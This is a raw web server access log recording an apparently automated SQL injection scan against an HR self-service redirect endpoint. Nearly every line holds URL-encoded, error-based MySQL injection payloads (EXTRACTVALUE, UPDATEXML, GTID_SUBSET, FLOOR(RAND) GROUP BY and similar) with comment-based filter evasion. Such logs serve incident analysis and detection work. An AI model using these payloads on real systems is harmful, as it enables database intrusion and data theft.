100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5844324a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5948636f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x36326332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71446274%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x36326332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71446274%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4d616546%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57464355%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4d616546%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57464355%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x76556f4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34623771%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x76556f4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34623771%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x544e6268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66454577%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x544e6268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66454577%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x51644138%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66506975%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x51644138%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66506975%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x51494a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7377474e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x51494a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7377474e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b785653%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a326373%29%2C6420%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b785653%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a326373%29%2C6420%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a726e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x566b7064%29%2C6420%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a726e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x566b7064%29%2C6420%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55616c74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b566943%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55616c74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b566943%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x714f5263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79307a76%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6e626e77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72746976%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x54356565%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38587765%29%29%2C1%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x54356565%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38587765%29%29%2C1%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a736d48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54594471%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a736d48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54594471%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x466f3241%2C%28NULL%29%2C0x64694d79%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x466f3241%2C%28NULL%29%2C0x64694d79%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b4e6b78%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d77465a%29%29x%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b4e6b78%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d77465a%29%29x%29%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x45446446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a7365%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x45446446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a7365%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x67656578%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4e7361%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x67656578%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4e7361%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x717a4466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x504b566c%29%2C5431%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x717a4466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x504b566c%29%2C5431%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x68745477%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43564a4a%29%2C5431%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x68745477%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43564a4a%29%2C5431%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a394255%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50326746%29%29x%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a394255%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50326746%29%29x%29%29&userseqno=47810 HTTP/1.1" 302 -
